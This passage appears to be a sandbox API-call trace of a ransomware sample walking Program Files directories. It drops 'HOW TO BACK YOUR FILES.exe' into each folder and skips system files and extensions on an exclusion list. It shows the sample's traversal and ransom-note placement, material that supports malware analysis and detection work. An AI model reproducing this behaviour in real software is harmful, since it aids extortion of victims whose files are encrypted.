	[0052.487] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.487] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Uninstall Information\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\uninstall information\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.501] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.501] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Uninstall Information\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x8907f814, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x375de6d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x375de6d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0052.501] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.501] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.501] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0052.501] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x8907f814, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x375de6d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x375de6d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.502] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.502] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0052.502] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0052.502] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0052.502] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x375b8570, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x375b8570, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0052.502] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0052.502] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b164280, ftCreationTime.dwHighDateTime=0x1d4e625, ftLastAccessTime.dwLowDateTime=0xa81b920, ftLastAccessTime.dwHighDateTime=0x1d52a58, ftLastWriteTime.dwLowDateTime=0xa81b920, ftLastWriteTime.dwHighDateTime=0x1d52a58, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="menusexceptions.exe", cAlternateFileName="MENUSE~1.EXE")) returned 1
	[0052.502] lstrcmpiW (lpString1="menusexceptions.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.502] lstrcmpiW (lpString1="menusexceptions.exe", lpString2="Apollon865.txt.exe") returned 1
	[0052.502] lstrcmpiW (lpString1="menusexceptions.exe", lpString2=".") returned 1
	[0052.502] lstrcmpiW (lpString1="menusexceptions.exe", lpString2="..") returned 1
	[0052.502] lstrcmpiW (lpString1="menusexceptions.exe", lpString2="windows") returned -1
	[0052.502] lstrcmpiW (lpString1="menusexceptions.exe", lpString2="bootmgr") returned 1
	[0052.502] lstrcmpiW (lpString1="menusexceptions.exe", lpString2="temp") returned -1
	[0052.502] lstrcmpiW (lpString1="menusexceptions.exe", lpString2="pagefile.sys") returned -1
	[0052.502] lstrcmpiW (lpString1="menusexceptions.exe", lpString2="boot") returned 1
	[0052.502] lstrcmpiW (lpString1="menusexceptions.exe", lpString2="ids.txt") returned 1
	[0052.502] lstrcmpiW (lpString1="menusexceptions.exe", lpString2="ntuser.dat") returned -1
	[0052.502] lstrcmpiW (lpString1="menusexceptions.exe", lpString2="perflogs") returned -1
	[0052.502] lstrcmpiW (lpString1="menusexceptions.exe", lpString2="MSBuild") returned -1
	[0052.502] lstrlenW (lpString="menusexceptions.exe") returned 19
	[0052.502] lstrlenW (lpString="C:\\Program Files (x86)\\Uninstall Information\\*") returned 46
	[0052.502] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="menusexceptions.exe" | out: lpString1="menusexceptions.exe") returned="menusexceptions.exe"
	[0052.502] lstrlenW (lpString="menusexceptions.exe") returned 19
	[0052.502] lstrlenW (lpString="Apollon865") returned 10
	[0052.502] lstrcmpiW (lpString1="ptions.exe", lpString2="Apollon865") returned 1
	[0052.502] lstrlenW (lpString=".dll") returned 4
	[0052.502] lstrcmpiW (lpString1="menusexceptions.exe", lpString2=".dll") returned 1
	[0052.502] lstrlenW (lpString=".lnk") returned 4
	[0052.502] lstrcmpiW (lpString1="menusexceptions.exe", lpString2=".lnk") returned 1
	[0052.502] lstrlenW (lpString=".ini") returned 4
	[0052.502] lstrcmpiW (lpString1="menusexceptions.exe", lpString2=".ini") returned 1
	[0052.502] lstrlenW (lpString=".sys") returned 4
	[0052.503] lstrcmpiW (lpString1="menusexceptions.exe", lpString2=".sys") returned 1
	[0052.503] lstrlenW (lpString="menusexceptions.exe") returned 19
	[0052.503] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="strength wishlist binding.exe" | out: lpString1="strength wishlist binding.exe") returned="strength wishlist binding.exe"
	[0052.503] lstrlenW (lpString="strength wishlist binding.exe") returned 29
	[0052.503] lstrlenW (lpString="Apollon865") returned 10
	[0052.503] lstrcmpiW (lpString1="inding.exe", lpString2="Apollon865") returned 1
	[0052.503] lstrlenW (lpString=".dll") returned 4
	[0052.503] lstrcmpiW (lpString1="strength wishlist binding.exe", lpString2=".dll") returned 1
	[0052.503] lstrlenW (lpString=".lnk") returned 4
	[0052.503] lstrcmpiW (lpString1="strength wishlist binding.exe", lpString2=".lnk") returned 1
	[0052.503] lstrlenW (lpString=".ini") returned 4
	[0052.503] lstrcmpiW (lpString1="strength wishlist binding.exe", lpString2=".ini") returned 1
	[0052.503] lstrlenW (lpString=".sys") returned 4
	[0052.503] lstrcmpiW (lpString1="strength wishlist binding.exe", lpString2=".sys") returned 1
	[0052.503] lstrlenW (lpString="strength wishlist binding.exe") returned 29
	[0052.503] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Reference Assemblies", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Reference Assemblies") returned="C:\\Program Files (x86)\\Reference Assemblies"
	[0052.503] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x598408 | out: hHeap=0x580000) returned 1
	[0052.503] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0052.503] lstrlenW (lpString="C:\\Program Files (x86)\\Reference Assemblies") returned 43
	[0052.503] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Reference Assemblies" | out: lpString1="C:\\Program Files (x86)\\Reference Assemblies") returned="C:\\Program Files (x86)\\Reference Assemblies"
	[0052.503] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.503] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Reference Assemblies\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\reference assemblies\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.507] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.507] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x375de6d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x375de6d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0052.507] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.507] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.507] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0052.507] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x375de6d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x375de6d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.508] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.508] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0052.508] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0052.508] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0052.508] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x375de6d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x375de6d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0052.508] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0052.508] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1
	[0052.508] lstrcmpiW (lpString1="Microsoft", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.508] lstrcmpiW (lpString1="Microsoft", lpString2="Apollon865.txt.exe") returned 1
	[0052.508] lstrcmpiW (lpString1="Microsoft", lpString2=".") returned 1
	[0052.508] lstrcmpiW (lpString1="Microsoft", lpString2="..") returned 1
	[0052.508] lstrcmpiW (lpString1="Microsoft", lpString2="windows") returned -1
	[0052.508] lstrcmpiW (lpString1="Microsoft", lpString2="bootmgr") returned 1
	[0052.508] lstrcmpiW (lpString1="Microsoft", lpString2="temp") returned -1
	[0052.508] lstrcmpiW (lpString1="Microsoft", lpString2="pagefile.sys") returned -1
	[0052.508] lstrcmpiW (lpString1="Microsoft", lpString2="boot") returned 1
	[0052.508] lstrcmpiW (lpString1="Microsoft", lpString2="ids.txt") returned 1
	[0052.508] lstrcmpiW (lpString1="Microsoft", lpString2="ntuser.dat") returned -1
	[0052.508] lstrcmpiW (lpString1="Microsoft", lpString2="perflogs") returned -1
	[0052.508] lstrcmpiW (lpString1="Microsoft", lpString2="MSBuild") returned -1
	[0052.508] lstrlenW (lpString="Microsoft") returned 9
	[0052.508] lstrlenW (lpString="C:\\Program Files (x86)\\Reference Assemblies\\*") returned 45
	[0052.508] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="Microsoft" | out: lpString1="Microsoft") returned="Microsoft"
	[0052.508] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0052.508] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6c) returned 0x59a920
	[0052.508] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c30 | out: ListHead=0x5b76b0, ListEntry=0x5b7c30) returned 0x5b7ab0
	[0052.508] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0
	[0052.508] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0052.508] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c30
	[0052.508] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft"
	[0052.509] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0052.509] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0052.509] lstrlenW (lpString="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft") returned 53
	[0052.509] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft" | out: lpString1="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft"
	[0052.509] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.509] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.513] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.513] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x375de6d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x375de6d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0052.513] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.513] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.513] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0052.513] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x375de6d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x375de6d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.513] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.513] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0052.513] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0052.513] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0052.513] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 1
	[0052.513] lstrcmpiW (lpString1="Framework", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.513] lstrcmpiW (lpString1="Framework", lpString2="Apollon865.txt.exe") returned 1
	[0052.513] lstrcmpiW (lpString1="Framework", lpString2=".") returned 1
	[0052.513] lstrcmpiW (lpString1="Framework", lpString2="..") returned 1
	[0052.513] lstrcmpiW (lpString1="Framework", lpString2="windows") returned -1
	[0052.513] lstrcmpiW (lpString1="Framework", lpString2="bootmgr") returned 1
	[0052.513] lstrcmpiW (lpString1="Framework", lpString2="temp") returned -1
	[0052.513] lstrcmpiW (lpString1="Framework", lpString2="pagefile.sys") returned -1
	[0052.513] lstrcmpiW (lpString1="Framework", lpString2="boot") returned 1
	[0052.513] lstrcmpiW (lpString1="Framework", lpString2="ids.txt") returned -1
	[0052.513] lstrcmpiW (lpString1="Framework", lpString2="ntuser.dat") returned -1
	[0052.514] lstrcmpiW (lpString1="Framework", lpString2="perflogs") returned -1
	[0052.514] lstrcmpiW (lpString1="Framework", lpString2="MSBuild") returned -1
	[0052.514] lstrlenW (lpString="Framework") returned 9
	[0052.514] lstrlenW (lpString="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\*") returned 55
	[0052.514] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="Framework" | out: lpString1="Framework") returned="Framework"
	[0052.514] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0052.514] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5bf568
	[0052.514] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c30 | out: ListHead=0x5b76b0, ListEntry=0x5b7c30) returned 0x5b7ab0
	[0052.514] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x375de6d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x375de6d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0052.514] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0052.514] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x375de6d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x375de6d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0052.514] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0052.514] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c30
	[0052.514] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework"
	[0052.514] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0052.514] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0052.514] lstrlenW (lpString="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework") returned 63
	[0052.514] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework" | out: lpString1="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework"
	[0052.514] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.514] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.519] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.519] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x37604830, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37604830, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0052.519] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.519] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.519] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0052.519] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x37604830, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37604830, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.519] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.519] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0052.519] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0052.519] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0052.519] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37604830, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x37604830, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0052.519] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0052.519] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a8c6329, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a8c6329, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1
	[0052.519] lstrcmpiW (lpString1="v3.0", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.519] lstrcmpiW (lpString1="v3.0", lpString2="Apollon865.txt.exe") returned 1
	[0052.520] lstrcmpiW (lpString1="v3.0", lpString2=".") returned 1
	[0052.520] lstrcmpiW (lpString1="v3.0", lpString2="..") returned 1
	[0052.520] lstrcmpiW (lpString1="v3.0", lpString2="windows") returned -1
	[0052.520] lstrcmpiW (lpString1="v3.0", lpString2="bootmgr") returned 1
	[0052.520] lstrcmpiW (lpString1="v3.0", lpString2="temp") returned 1
	[0052.520] lstrcmpiW (lpString1="v3.0", lpString2="pagefile.sys") returned 1
	[0052.520] lstrcmpiW (lpString1="v3.0", lpString2="boot") returned 1
	[0052.520] lstrcmpiW (lpString1="v3.0", lpString2="ids.txt") returned 1
	[0052.520] lstrcmpiW (lpString1="v3.0", lpString2="ntuser.dat") returned 1
	[0052.520] lstrcmpiW (lpString1="v3.0", lpString2="perflogs") returned 1
	[0052.520] lstrcmpiW (lpString1="v3.0", lpString2="MSBuild") returned 1
	[0052.520] lstrlenW (lpString="v3.0") returned 4
	[0052.520] lstrlenW (lpString="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\*") returned 65
	[0052.521] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="v3.0" | out: lpString1="v3.0") returned="v3.0"
	[0052.521] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0052.521] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x8a) returned 0x5994c0
	[0052.521] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c30 | out: ListHead=0x5b76b0, ListEntry=0x5b7c30) returned 0x5b7ab0
